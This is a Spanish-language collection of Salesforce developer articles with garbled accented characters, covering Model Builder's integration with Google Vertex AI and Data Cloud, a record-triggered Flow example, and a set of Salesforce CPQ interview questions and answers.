HVS.png

En otras palabras, las cadencias de participaci贸n de ventas difieren de un tipo de proceso de ventas a otro, pero la idea b谩sica sigue siendo la misma: toques consistentes y secuenciales.

驴Qu茅 es la captura de datos modificados?

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Lleve sus modelos de IA de Google Vertex a la nube de datos 鈽侊笍

Lleve sus modelos de IA de Google Vertex a la nube de datos 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Lleve sus modelos de IA de Google Vertex a la nube de datos | Blog de desarrolladores de Salesforce

Model Builder, parte de Einstein Copilot Studio, es una plataforma f谩cil de usar que le permite crear y poner en funcionamiento modelos de IA en Salesforce. Model Builder es capaz de integrarse profundamente con plataformas de IA externas, como Google Cloud Vertex AI y Amazon SageMaker, para que pueda crear, entrenar e implementar modelos de IA personalizados de forma externa utilizando datos de Salesforce Data Cloud.

Salesforce anunci贸 previamente el lanzamiento de Model Builder con Amazon SageMaker en agosto de 2023. Hoy, nos complace anunciar que los modelos de Google Vertex AI ahora est谩n disponibles de forma general en Model Builder. Como parte de esta 煤ltima versi贸n, Model Builder ahora admite la autenticaci贸n mediante las credenciales de la cuenta del servicio de Google, as铆 como la ingesti贸n de datos en streaming.

Estamos entusiasmados con esta nueva innovaci贸n de la asociaci贸n ampliada de Salesforce con Google Cloud, que consideramos que tiene un enorme potencial para los desarrolladores. Como enfatiz贸 Kaushal Kurapati, vicepresidente senior de Producto, IA y B煤squeda de Salesforce:

鈥淐on esta asociaci贸n con Google Cloud, Model Builder ofrece una manera conveniente para que los clientes aprovechen sus modelos Vertex AI en sus fuentes de datos, flujos de trabajo y aplicaciones de Salesforce y brinden experiencias personalizadas, continuando con la visi贸n de construir una plataforma abierta de Salesforce AI con un ecosistema modelo robusto鈥.

驴Qu茅 es la capacidad de traer su propio modelo (BYOM)?

Model Builder le permite conectarse f谩cilmente a modelos predictivos externos, como los de un proveedor de modelos externo o su propio modelo propietario, y utilizarlos en el flujo de trabajo en Salesforce. Por ejemplo, puede utilizar modelos predictivos para calificar clientes potenciales, recomendar productos o detectar la deserci贸n.

La capacidad BYOM de Model Builder le permite integrar f谩cilmente su modelo con Data Cloud para acceder a predicciones e informaci贸n en tiempo real, y utilizar esa informaci贸n de varias maneras, como enriquecer perfiles de clientes, crear segmentos y personalizar la experiencia del usuario final en diferentes canales.

驴Por qu茅 traer su propio modelo a Data Cloud?

Estos son algunos de los beneficios de usar un modelo de Google Cloud Vertex AI con datos de Data Cloud en Model Builder:

  • Le brinda acceso a datos altamente seleccionados, armonizados y casi en tiempo real en Customer 360, en Vertex AI
  • Elimina trabajos de ETL tediosos, costosos y propensos a errores; El enfoque de federaci贸n de copia cero para los datos reduce los gastos generales de gesti贸n de copias de datos y los costos de almacenamiento, y mejora la eficiencia.
  • Le permite crear, entrenar, probar y ajustar modelos r谩pidamente en una 煤nica plataforma y conectarlos con Data Cloud.
  • Admite la ingesta de datos en tiempo real, streaming y por lotes para impulsar resultados de IA relevantes
  • Aprovecha las predicciones de Vertex AI para automatizar procesos comerciales en Salesforce Data Cloud con Flow y Apex

Para obtener m谩s informaci贸n, mire nuestro breve v铆deo .

Flujo de trabajo de la aplicaci贸n para usar Model Builder con Vertex AI de Google Cloud

En esta secci贸n, analizamos brevemente el flujo de trabajo de la aplicaci贸n utilizando Model Builder.

En el flujo de trabajo que se muestra arriba, el conector Python brinda a Vertex AI acceso seguro a los objetos de Salesforce Data Cloud. Despu茅s de la autenticaci贸n, los especialistas en datos pueden explorar y preparar datos, y realizar tareas de ingenier铆a de caracter铆sticas para el desarrollo y la inferencia de modelos de IA utilizando la plataforma Vertex AI.

Tenga en cuenta que si se realiza una autenticaci贸n basada en clave API, se necesita una puerta de enlace API delante del punto final de Vertex AI.

NUEVA caracter铆stica: Autenticaci贸n mediante credenciales de cuenta de servicio de Google

La versi贸n m谩s reciente de Model Builder ahora permite utilizar las credenciales de la cuenta del servicio de Google para la autenticaci贸n. Esto se suma a los m茅todos de autenticaci贸n JWT y basados en claves existentes. Para utilizar un flujo de token al portador JWT, ingrese su correo electr贸nico de la cuenta de servicio, ID de clave privada y clave privada de su cuenta de Google Cloud como se muestra a continuaci贸n.

NUEVA caracter铆stica: Ingesti贸n de datos en streaming

La 煤ltima versi贸n de Model Builder le permite activar autom谩ticamente una inferencia cuando los datos asignados a la variable de entrada del modelo se cambian en el objeto del modelo de datos de origen (DMO). Tambi茅n ofrecemos inferencia por lotes, pero debe hacer clic en el bot贸n Actualizar manualmente para activar nuevas inferencias. Con la inferencia de transmisi贸n, las nuevas inferencias se activan solo cuando hay un cambio en la variable de entrada.

Para habilitar la inferencia de transmisi贸n, deber谩 marcar la casilla S铆 en 驴Actualizar modelo cuando se actualizan los datos? Como se muestra abajo.

Tambi茅n puede especificar cu谩les de las funciones de entrada deben actualizarse seleccionando S铆 en el men煤 desplegable Actualizar puntuaci贸n .

C贸mo consumir predicciones de tu modelo en Salesforce

Hay dos formas de consumir predicciones: usar acciones invocables en Flow y Apex, o usar Query API para realizar an谩lisis ad hoc.

Utilice Flow Builder y Apex para obtener predicciones

A continuaci贸n se muestra un ejemplo de c贸mo utilizar acciones invocables para modelos de Model Builder en Flow. Una vez que tenga un modelo activado en Model Builder, seleccione Nueva acci贸n 鈫 Nube de datos y luego haga clic en el nombre del modelo deseado.

La captura de pantalla siguiente muestra un flujo de ejemplo que utiliza una acci贸n invocable para crear recomendaciones de productos para un cliente. Aqu铆, un administrador usa Flow Builder para recorrer los registros individuales unificados y verificar si se realiz贸 una compra reciente. Si se realiz贸 la compra, la acci贸n invocable obtiene la inferencia del modelo de Model Builder y recomienda el siguiente mejor producto a un cliente.

Esta acci贸n invocable tambi茅n se puede invocar en Apex. Vea el ejemplo a continuaci贸n.

<dx-code-block title language="apex" code-block="Invocable.Action action = Invocable.Action.createCustomAction('cdpGetMlPrediction', 'EinsteinStudio_model_name');
action.setInvocationParameter('param_variable_1', '10');
action.setInvocationParameter('param_variable_2', '20');
action.setInvocationParameter('param_variable_3', '30');
List results = action.invoke();
if (results.size() > 0 && results[0].isSuccess()) { System.debug(‘Result is: ‘ + results[0].getOutputParameters().get(‘param_score’));
} else { System.debug(‘Error message’ + results[0].getErrors());
} “>

Para obtener instrucciones sobre el uso de acciones invocables en Flow y Apex, consulte la Ayuda de Salesforce .

Utilice Query API para obtener predicciones

Query API es otra forma r谩pida de obtener puntuaciones de predicci贸n para datos que residen en Data Cloud. Con Query API, puede utilizar el punto final de inferencia y llamar a funciones de predicci贸n para probar el punto final. Vea el ejemplo a continuaci贸n.

Para obtener instrucciones sobre el uso de acciones invocables en QueryAPI, consulte la Ayuda de Salesforce .

Conclusi贸n

Model Builder es una plataforma de IA f谩cil de usar que permite a los equipos de ingenier铆a y ciencia de datos crear, entrenar e implementar modelos de IA utilizando plataformas y datos externos en Data Cloud. Las plataformas externas incluyen Google Cloud Vertex AI, Amazon SageMaker y otros servicios de IA predictivos o generativos. Una vez que est茅 listo, podr谩 utilizar los modelos de IA en tiempo real para impulsar cualquier aplicaci贸n de ventas, servicios, marketing, comercio y otras aplicaciones en Salesforce.

Para obtener m谩s informaci贸n sobre c贸mo puede mejorar su estrategia de IA utilizando Model Builder, asista a nuestro seminario web gratuito con expertos en IA de Salesforce y Google Cloud.

Recursos adicionales

Sobre los autores

Daryl Martis es el director de producto de Salesforce de Einstein. Tiene m谩s de 10 a帽os de experiencia en planificaci贸n, creaci贸n, lanzamiento y gesti贸n de soluciones de clase mundial para clientes empresariales, incluidas AI/ML y soluciones en la nube. S铆guelo en LinkedIn o Twitter .

Ashish Thapliyal es director s茅nior de producto en Salesforce y actualmente dirige varias 谩reas de productos de la plataforma Einstein AI. S铆guelo en LinkedIn o Twitter .

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Escenario de flujo de activaci贸n de registro: enviar notificaci贸n por correo electr贸nico al objeto principal en funci贸n de los cambios con el objeto secundario

Escenario de flujo de activaci贸n de registro: enviar notificaci贸n por correo electr贸nico al objeto principal en funci贸n de los cambios con el objeto secundario

Escenario de activaci贸n de registro 2

Su organizaci贸n administra cuentas, contactos y oportunidades para operaciones de ventas. Desea automatizar el proceso de notificaci贸n al propietario de la cuenta cuando el campo personalizado 'Cambio de estado' de un contacto cambia a 'Inactivo'. Adem谩s, desea actualizar la 'Etapa de oportunidad' de todas las oportunidades relacionadas a 'En espera' cuando cambie el estado de este contacto. Explique c贸mo dise帽ar铆a un Flujo para lograr esto.

Respuesta

Centr茅monos en el patr贸n para resolver este escenario de modo que podamos resolver preguntas de flujo de manera efectiva.

1. Comprenda el requisito:

鈥 Punto de activaci贸n: cuando el 'Cambio de estado' de un contacto cambia a 'Inactivo'.

鈥 Resultado: Automatizar la notificaci贸n al propietario de la cuenta y actualizar las etapas de la oportunidad.

2. Desglosarlo:

鈥 Recuperaci贸n de datos: Identificar la Cuenta del Contacto y las Oportunidades relacionadas.

鈥 Notificaciones: env铆a una notificaci贸n al propietario de la cuenta.

鈥 Actualizaci贸n: actualice las etapas de la oportunidad seg煤n el cambio de estado del contacto.

3. Visualice el flujo:

– Secuencia:

鈥 Iniciar el flujo cuando el 'Estado' de un contacto cambie a 'Inactivo'.

鈥 Recuperar la cuenta del contacto y las oportunidades relacionadas.

鈥 Enviar una notificaci贸n al propietario de la cuenta.

鈥 Actualizar la 'Etapa de Oportunidad' en Oportunidades relacionadas.

4. Dise帽e el flujo:

鈥 Elementos:

鈥 鈥淩egistrar flujo activado鈥 para iniciar el cambio de estado de flujo en contacto. Seleccionaremos cu谩ndo se actualiza el registro, ya que el flujo debe ejecutarse cuando el campo 'cambio de estado' del contacto se cambia a inactivo.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

鈥 El 鈥淓lemento de decisi贸n鈥 comprueba si el campo de estado del caso est谩 activo o no

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

鈥 Elemento 鈥淥btener registros鈥 para recuperar la cuenta del contacto. Para este filtro se debe buscar la cuenta que tenga el mismo ID que el ID de cuenta del contacto.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

鈥 Enviar notificaci贸n por correo electr贸nico al propietario de la cuenta.

Escribe el correo electr贸nico. A la hora de redactar el contenido de tu correo electr贸nico, tienes tres opciones disponibles:

Opci贸n 1:
a partir del lanzamiento Summer '23 de Salesforce, puede utilizar plantillas de correo electr贸nico con la acci贸n Enviar correo electr贸nico. Puede hacer esto activando el ID de plantilla de correo electr贸nico e ingresando el ID de la plantilla de correo electr贸nico que desea usar. Para encontrar esta ID, navegue hasta su plantilla de correo electr贸nico desde las Plantillas de correo electr贸nico Lightning en sus aplicaciones o la p谩gina Plantilla de correo electr贸nico cl谩sica en la configuraci贸n. Luego copie la cadena de 15 caracteres de la URL y p茅guela en su flujo como ID de plantilla de correo electr贸nico.

Imagen que resalta la cadena de 15 caracteres en la URL de la p谩gina Plantilla de correo electr贸nico de una plantilla de correo electr贸nico de muestra.

Opci贸n 2: almacena el cuerpo de tu correo electr贸nico en una plantilla de texto . Para hacer esto, active el interruptor Cuerpo . A continuaci贸n, seleccione Nuevo recurso en el men煤 y elija Plantilla de texto . Asigne a la plantilla un nombre API y escriba el cuerpo de su correo electr贸nico . Puede ingresar recursos personalizados desde el men煤 encima del cuadro de texto. De esta manera, puedes incluir tanto texto est谩tico como informaci贸n personalizada para el cliente potencial. Una vez que su plantilla est茅 completa, haga clic en Listo . Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

  1. Ahora que tenemos escrito el contenido de nuestro correo electr贸nico, es momento de determinar a qui茅n va dirigido. Active la lista de destinatarios e ingrese {!$Record.Email}. Ahora, la direcci贸n de correo electr贸nico vinculada al objeto Cliente potencial se convertir谩 autom谩ticamente en el destinatario.
  2. Otra caracter铆stica nueva de la versi贸n Summer '23 de Salesforce es la capacidad de registrar correos electr贸nicos enviados con la acci贸n Enviar correo electr贸nico. Esto significa que puede actualizar registros autom谩ticamente cuando se env铆a un correo electr贸nico, de modo que tenga un cronograma claro de comunicaci贸n almacenado directamente dentro del registro del objeto. Para hacer esto, active la opci贸n Registrar correo electr贸nico al enviar y establezca el valor en {!$GlobalConstant.True} .
  3. Cambie la ID del destinatario a Activado e ingrese {!$Record.Id} Ahora, el registro del destinatario se actualizar谩 autom谩ticamente para mostrar cu谩ndo fueron contactados, qu茅 dec铆a el correo electr贸nico e incluso cu谩ndo lo abrieron.

Una captura de pantalla de la pantalla de una computadora Descripci贸n generada autom谩ticamente

A continuaci贸n, active Cuerpo con formato de texto enriquecido. En el men煤 desplegable, seleccione {!$GlobalConstant.True}. Esto garantiza que el formato de nuestro correo electr贸nico siga siendo consistente.

Imagen que muestra la Lista de direcciones de destinatarios activada con el cuadro de texto que muestra {!$Record.Email} y la opci贸n Cuerpo con formato de texto enriquecido activada con el cuadro de texto que muestra {!$GlobalConstant.True}

Por 煤ltimo, cambie el valor de Asunto a Activado y escriba su asunto en el cuadro. Puede omitir este paso si est谩 utilizando una ID de plantilla de correo electr贸nico.

Un objeto rectangular blanco con l铆neas negras. Descripci贸n generada autom谩ticamente.

鈥 Elemento 鈥淎ctualizar Registros鈥 para actualizar Etapas de Oportunidad.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

5. Escenario de prueba:

鈥 Cambie el 'Cambio de estado' de un contacto a 'Inactivo' y verifique que el flujo notifique correctamente al propietario de la cuenta y actualice las Etapas de la oportunidad a 'En espera'.

Producci贸n

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

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Preguntas de la entrevista de Salesforce CPQ, parte 2

Preguntas de la entrevista de Salesforce CPQ, parte 2

Preguntas de la entrevista de Salesforce CPQ, parte 1

Enlace de Whatsapp para el grupo Salesforce CPQ

1. 驴Qu茅 son los filtros de b煤squeda en el editor de l铆neas de cotizaci贸n?

El filtro de b煤squeda del editor de l铆neas de cotizaci贸n se puede utilizar para filtrar productos, activos o suscripciones por sus valores de campo.

2. 驴Cu谩l es la diferencia entre la regla del producto y la regla del precio?

La estructura general de las reglas de precios y de productos es la misma:

  • Registro de reglas: que contiene propiedades generales.
  • Condiciones: ambas admiten l贸gica de condici贸n avanzada
  • Comportamiento

Reglas del producto

Las reglas de productos se utilizan para hacer cumplir la l贸gica empresarial, ayudar a automatizar los comentarios a los representantes de ventas sobre las selecciones de productos y tambi茅n aceleran el proceso de cotizaci贸n.

Hay 4 tipos de reglas de producto:

Reglas de validaci贸n: cuando no se cumplen las condiciones, se muestra un mensaje de error y los usuarios no pueden continuar hasta que se solucione la situaci贸n. Por tanto, act煤an como un freno duro .

Las reglas de alerta son una parada suave en comparaci贸n con la parada fuerte de las reglas de validaci贸n. Tambi茅n muestran un mensaje, pero es m谩s bien una sugerencia porque el usuario puede continuar sin cumplir con los requisitos comerciales especificados.

Reglas de selecci贸n : pueden agregar, eliminar, mostrar, ocultar, habilitar o deshabilitar o realizar alguna combinaci贸n de estas acciones en las opciones de productos dentro de un paquete o pueden agregar un producto a una cotizaci贸n. Esta regla puede ser una excelente manera de aprovechar la Venta Guiada para guiar a sus representantes hacia las opciones apropiadas o m谩s deseadas seleccionando autom谩ticamente los productos correctos.

Las reglas de filtrado se utilizan en paquetes para extraer opciones de productos del cat谩logo de productos mediante una regla de filtrado . A esto se le suele denominar creaci贸n de un paquete din谩mico.

Reglas de precios

Se puede considerar que las reglas de precios realizan actualizaciones de campos dentro del c谩lculo que afectar谩n el precio. puede usarlos para establecer descuentos y cantidades.

3. 驴Cu谩les son las consideraciones para los campos gemelos?

Recuerde que un campo gemelo debe tener el mismo tipo de datos y nombre de API que el campo correspondiente creado en el objeto Opci贸n de producto.

4. 驴C贸mo configurar productos de suscripci贸n en Salesforce CPQ?

Hay tres campos esenciales para configurar Productos de suscripci贸n en Salesforce CPQ.

Campo de producto Tipo de datos Descripci贸n
Precios de suscripci贸n Lista de selecci贸n El producto no se considerar谩 una suscripci贸n sin que este campo est茅 configurado en Precio fijo o Porcentaje del total.
Plazo de suscripci贸n N煤mero Este es el periodo asociado a la compra, por lo que puedes establecerlo en 12 meses si se trata de una Suscripci贸n Anual.
Tipo de suscripci贸n Lista de selecci贸n Este campo determina si el producto es renovable o 煤nico. Las Suscripciones Renovables se transfieren a Cotizaciones de Renovaci贸n. Las suscripciones 煤nicas no lo har谩n.

Para crear Productos de Suscripci贸n , cree un nuevo Registro de productos. Complete los campos: Precio de suscripci贸n , Tipo de suscripci贸n y Plazo de suscripci贸n para el producto. Tenga en cuenta que durante la creaci贸n del contrato, los Productos de Suscripci贸n se convierten en registros de Suscripci贸n.

Salesforce CPQ, Productos de suscripci贸n, Campos b谩sicos de nuevos productos: Precios de suscripci贸n; Tipo de suscripci贸n; Plazo de suscripci贸n

5. 驴Cu谩l es la diferencia entre restricciones de opciones y reglas de productos?

Las restricciones de opciones y las reglas de productos tienen diferentes casos de uso.

Las restricciones de opciones no pueden seleccionar productos autom谩ticamente. (aunque pueden anular la selecci贸n de productos cuando se aplica la dependencia). Son buenos en dos escenarios:

  • dependencia
  • exclusi贸n

Las restricciones de opciones permiten el procesamiento en tiempo real . Cada vez que el usuario selecciona o deselecciona una opci贸n, la dependencia o exclusi贸n se activa inmediatamente.

Las reglas de producto tienen m谩s funciones que la restricci贸n de opci贸n, aunque es necesario elegir un evento de evaluaci贸n para especificar cu谩ndo Salesforce CPQ debe considerar y ejecutar una regla de producto: Cargar, Editar, Guardar o Siempre.

6. 驴Explicar el paquete de productos en CPQ?

Hay tres objetos clave que definen la estructura del paquete :

  • Producto
  • Opciones
  • Caracter铆sticas

Producto

Los paquetes est谩n hechos de productos. Se puede hacer referencia a los productos en un paquete, ya sea como paquete principal o como opciones de producto. Piense en la computadora port谩til como un producto

Opciones de producto

Son como hijos que se encuentran debajo del paquete principal y son los que realmente unen el paquete porque los paquetes se crean cuando agrega Opciones a un Producto en la lista relacionada de Opciones. Las opciones de producto para computadora port谩til pueden ser mouse, teclado, cargador y software de Microsoft.

Caracter铆sticas

Son categor铆as de opciones de productos dentro de la configuraci贸n. No son obligatorios, pero se pueden utilizar para una mejor experiencia visual y tambi茅n ayudan a impulsar l贸gica adicional, como las opciones m铆nimas y m谩ximas. Las funciones son como poner opciones dentro de funciones, por ejemplo:

Software

  • Software de Microsoft

Hardware

  • Rat贸n
  • Teclado

Aqu铆 Hardware y Software son caracter铆sticas que clasifican las opciones del producto.

Hay tres tipos de paquetes :

Paquete est谩tico. Este ser铆a el paquete fijo tradicional, preempaquetado, en el que se venden ciertos productos juntos a un precio fijo, y el usuario no necesita ingresar a la configuraci贸n porque no se permiten ajustes.

Paquete configurable. Este tipo de paquete se puede configurar con ciertas restricciones para evitar configuraciones imposibles. El usuario puede seleccionar diferentes opciones para personalizar el paquete y satisfacer las necesidades del cliente.

Paquete anidado. Estos son paquetes dentro de otros paquetes. Se recomienda mantener los paquetes anidados en tres niveles de profundidad. Los paquetes anidados se crean f谩cilmente agregando el producto principal de un paquete como opci贸n a otro paquete.

Paquete virtual . Este tipo de fardo funciona como contenedor para otros productos. Para configurar un paquete principal virtual, debe estar asociado con un precio de $0,00.

Paquetes din谩micos . Estas funciones, junto con las reglas de filtrado de productos, permiten a sus representantes de ventas seleccionar productos de una lista previamente filtrada de opciones entre las que pueden elegir.

7.驴Qu茅 son las funciones de CPQ?

El objeto de caracter铆stica est谩 relacionado con productos y "se encuentra" dentro de paquetes. Un paquete puede tener varias funciones o ninguna, y una funci贸n puede tener varias opciones.

Las caracter铆sticas tienen dos prop贸sitos:

  • Ofrecen una mejor experiencia de usuario mientras navegan por las opciones de productos dentro de los paquetes.
  • Los campos en los registros de funciones nos ayudan a impulsar la l贸gica empresarial , como establecer las opciones m铆nimas y m谩ximas, evitando que el usuario seleccione muy pocas o demasiadas opciones. Si el usuario no cumple con los requisitos m铆nimos/m谩ximos e intenta guardar la configuraci贸n.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Una captura de pantalla de una lista de productos Descripci贸n generada autom谩ticamente

El campo N煤mero establece el orden de visualizaci贸n de las funciones, siendo la funci贸n con el n煤mero m谩s bajo la primera en la lista. Se recomienda utilizar incrementos de 10 al asignar n煤meros.

El campo SKU configurado se completa autom谩ticamente cuando el usuario crea una funci贸n desde la p谩gina de detalles del producto del paquete y representa el producto principal que alberga la funci贸n.

8. 驴Explica los diferentes valores del campo del m茅todo de selecci贸n de opciones en el objeto de caracter铆sticas?

El campo M茅todo de selecci贸n de opciones controla c贸mo aparecen al usuario las opciones adjuntas a esta funci贸n.

Haga clic : las opciones aparecen como una lista con casillas de verificaci贸n junto a ellas:

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Una captura de pantalla de una lista de productos Descripci贸n generada autom谩ticamente

Agregar : las opciones se colapsan y en su lugar aparece un bot贸n Agregar opciones. Se debe hacer clic en el bot贸n Agregar opciones para navegar a una p谩gina separada que muestra los productos para esta funci贸n.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Din谩mico : muestra un bot贸n Agregar opciones, que muestra una lista prefiltrada de productos disponibles para su selecci贸n. Para utilizar esta funcionalidad, debe configurar una regla de producto de filtro CPQ de Salesforce para paquetes din谩micos.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

9. 驴Explicar el campo del objeto de b煤squeda?

Las reglas de producto y las reglas de precio en Salesforce CPQ contienen el campo Objeto de b煤squeda. Este campo define el objeto que almacena datos que puede evaluar mediante consultas de b煤squeda para compararlos con los campos de cotizaci贸n, l铆nea de cotizaci贸n o opci贸n de producto.

10. 驴Explicar la estructura de la plantilla de cotizaci贸n?

La estructura de la plantilla de cotizaci贸n incluye:

  1. Informaci贸n de la plantilla de cotizaci贸n
  • Informaci贸n de la p谩gina
  • Informaci贸n de encabezado/pie de p谩gina
  • Informaci贸n corporativa
  • Informaci贸n de estilo
  • Informaci贸n de estilo de grupo
  • T铆tulos de secci贸n
  • Opciones de impresi贸n
  1. Listas relacionadas
  • Columnas de l铆nea
  • Secciones de plantilla
  • Documentos adicionales

Detalles de la plantilla de cotizaci贸n de muestra nueva de Salesforce CPQ

11. 驴Cu谩les son los pasos para crear plantillas de cotizaciones?

Hay cinco pasos principales a seguir al crear una plantilla de cotizaci贸n:

1. Crear la propia plantilla de cotizaci贸n

2. Almacenamiento del logotipo necesario en Documentos

3. Creando el contenido de la plantilla

4. Creando las secciones de la plantilla

5. Creando las columnas de l铆nea

12. 驴C贸mo se puede renovar la suscripci贸n con un cliente existente?

Si ya tiene una oportunidad de renovaci贸n, cuando se acerque al final del per铆odo de suscripci贸n, es posible que desee venderles las suscripciones de renovaci贸n al cliente nuevamente. Para ello, necesita una cotizaci贸n de renovaci贸n.

Se puede generar marcando la casilla de verificaci贸n Cotizaci贸n de renovaci贸n como verdadera. Esta cotizaci贸n de renovaci贸n se puede enviar, actualizar y modificar seg煤n sea necesario y luego recibirla nuevamente para que posteriormente pueda crear un contrato nuevo.

1. Primero, haga clic en la pesta帽a Cuentas en la barra de navegaci贸n.

2. Vaya a la empresa necesaria y haga clic en la pesta帽a Relacionado .

3. Acceda al enlace N煤mero de contrato en la lista relacionada Contratos y luego haga clic en Editar .

4. Marque la casilla de verificaci贸n Cotizaci贸n de renovaci贸n como verdadera, lo que le indicar谩 a CPQ que genere una cotizaci贸n sobre la oportunidad de renovaci贸n.

.

Tenga en cuenta que la cotizaci贸n de renovaci贸n tiene la Fecha de inicio un d铆a despu茅s de la Fecha de cierre de la oportunidad de renovaci贸n, mientras que la Fecha de finalizaci贸n se basa en el Plazo de renovaci贸n del contrato.

13. 驴C贸mo modificar un contrato en Salesforce CPQ?

Veamos c贸mo Salesforce CPQ puede actualizar un Contrato existente para incluir mayores cantidades de productos de suscripci贸n, prorrateados por la duraci贸n restante del Contrato y crear autom谩ticamente una Oportunidad y Cotizaci贸n de enmienda:

Cree una cotizaci贸n de modificaci贸n y una oportunidad para aumentar la cantidad de un producto de suscripci贸n de 1 a 10, a partir de los 3 meses del contrato.

Navegue hasta esa cuenta y vaya al enlace N煤mero de contrato en la lista relacionada Contratos. Luego, haga clic en Modificar y nuevamente en Modificar .

14. 驴C贸mo funciona el grupo de restricci贸n de opciones en Salesforce CPQ?

Esta caracter铆stica resulta 煤til cuando desea hacer que las opciones sean obligatorias o excluidas en funci贸n de combinaciones de otras opciones.

Veamos un ejemplo en el que desea evitar que los representantes de ventas vendan el Producto A a menos que el Producto B se haya incluido en la cotizaci贸n:

A. Haga clic en la pesta帽a Productos en la barra de navegaci贸n.

C. Vaya a la pesta帽a Relacionados .

D. En la lista relacionada Opciones , seleccione Ver todo y anote el n煤mero del Nombre de la opci贸n para las opciones necesarias:

  • Producto A.
  • Producto B.

E. Haga clic en Nuevo en la lista relacionada Restricciones de opciones y complete los siguientes campos:

  • Para el campo Nombre de restricci贸n , ingrese: El producto A requiere el producto B
  • Para el campo Opci贸n restringida , ingrese: < PO-###### del Producto A >  
  • Para el campo Opci贸n de restricci贸n , ingrese: < PO-###### del Producto B >
  • Para el campo Grupo de restricciones de opci贸n , ingrese: Puede ingresar aqu铆 cualquier cadena de texto, pero es una buena pr谩ctica hacerla descriptiva y f谩cil de entender y recordar.

F. Haga clic en Guardar .

16. Tiene un escenario en el que el representante de ventas debe vender un paquete en el que hay al menos tantos Productos B como Productos A. 驴C贸mo configurar para este escenario?

Paso 1: Cree una variable de resumen para determinar la cantidad agregada del Producto A en la configuraci贸n.

Paso 2: Cree una variable de resumen para determinar la cantidad agregada del Producto B en una configuraci贸n.

Paso 3: Cree una regla de producto que confirme c贸mo funcionar谩 la regla de validaci贸n durante la configuraci贸n del producto.

Paso 4: Cree una condici贸n de error que controle cu谩ndo se activa la regla, es decir, solo cuando la variable de resumen del producto B es menor que la variable de resumen del producto A.

Paso 5: Cree una regla de configuraci贸n para mostrar que la regla de validaci贸n se aplicar谩 al paquete de productos.

Paso 6: compruebe si la regla se comporta como se esperaba.

17. 驴C贸mo utilizar las restricciones de opciones?

Hay muchos escenarios en los que sus representantes de ventas deben habilitar o deshabilitar un producto en un paquete en funci贸n de otra opci贸n de producto.

Los escenarios incluyen:

  1. A. El Producto A pasa a estar DISPONIBLE si se selecciona el Producto B.
  2. B. El Producto A NO EST脕 DISPONIBLE si se selecciona el Producto B.

Esto se puede lograr creando restricciones de opciones a partir de la lista relacionada Restricciones de opciones en el registro de producto principal del paquete.

Cree una restricci贸n de opci贸n para que el Producto A pueda seleccionarse solo cuando se seleccione el Producto B:

18. 驴Explique un caso de uso de precios contratados?

Escenario: el representante de ventas ha negociado con un cliente un precio especial para ciertos productos: $375,00 por una computadora port谩til en lugar de $450,00

Utilice la herramienta Precios contratados, que permite crear registros relacionados con cuentas para excepciones de precios.

Primero, creemos un precio contratado para un 煤nico producto espec铆fico para una cuenta seleccionada. Haga clic en la pesta帽a Cuentas , haga clic en la cuenta seleccionada , vaya a la pesta帽a Relacionados y en la lista relacionada Precios contratados , haga clic en Nuevo:

鈻篜roducto: Computadora port谩til
鈻篜recio: 475
鈻篐aga clic en Guardar.

Tenga en cuenta que los Precios Contratados pueden estar limitados en el tiempo: puede establecer una Fecha de Vigencia y/o una Fecha de Vencimiento.

19. 驴Explicar el evento de evaluaci贸n en la regla del producto?

Evento de evaluaci贸n : especifica cu谩ndo se debe evaluar la regla:

Cargar: La regla se evaluar谩 cuando se abra el paquete de productos.

Editar: la regla se evaluar谩 cuando se edite el paquete de productos.

Guardar: la regla se evaluar谩 al guardar.

Siempre: La regla ser谩 evaluada durante cualquier evento.

Ahora, supongamos que tiene un campo en el Objeto de producto que tambi茅n desea ver en la L铆nea de cotizaci贸n. Cree un campo con el mismo nombre de API y del mismo tipo.

20. 驴Qu茅 es la venta guiada de Salesforce?

La venta guiada implementada en CPQ es una herramienta que formula preguntas sobre las necesidades del cliente en funci贸n de la selecci贸n de productos disponibles. Se hace creando un mensaje que pregunta a los representantes de ventas sobre los tipos de productos que desean agregar a la cotizaci贸n y sus especificaciones.

21. 驴Qu茅 es el precio por bloque de Salesforce?

Los precios en bloque le permiten fijar el precio de un producto en funci贸n de diferentes rangos de cantidades que se denominan precios en bloque.

  • El precio en bloque es un precio basado en niveles. El precio basado en niveles significa que el precio del producto depende de la cantidad que compra el cliente.
  • El precio tambi茅n se basa en el rango de cantidad y no en el producto individual.

22. 驴Cu谩les son los pasos para implementar un paquete din谩mico?

Los paquetes din谩micos permiten a los representantes de ventas elegir sus propias opciones en un paquete. Puede utilizar reglas de filtrado para filtrar las opciones entre las que pueden elegir.

Para implementar un paquete din谩mico, estos son los pasos de implementaci贸n que debe seguir:

鈻篊rear una caracter铆stica
鈻篊rear una regla de producto
鈻篊rear una acci贸n
鈻篊rear una regla de configuraci贸n

23. 驴Cu谩ndo utilizar reglas de producto frente a restricciones de opciones?

Cu谩ndo utilizar restricciones de opciones

Si tiene menos opciones y puede ajustar todas las opciones de producto en la categor铆a/pesta帽a sin tener que desplazarse mucho, entonces puede ser mejor optar por restricciones de opciones. Estos no pueden ocultar las Opciones del producto por completo, pero pueden habilitar/deshabilitar las Opciones del producto mediante otras selecciones.

24. 驴Cu谩ndo utilizar las reglas del producto?

Este enfoque es especialmente 煤til en configuraciones m谩s grandes que se muestran en categor铆as (pesta帽as), donde cada categor铆a puede requerir un desplazamiento extenso para mostrar todas las opciones.

Diferencias Restricciones de opciones Reglas de selecci贸n de productos
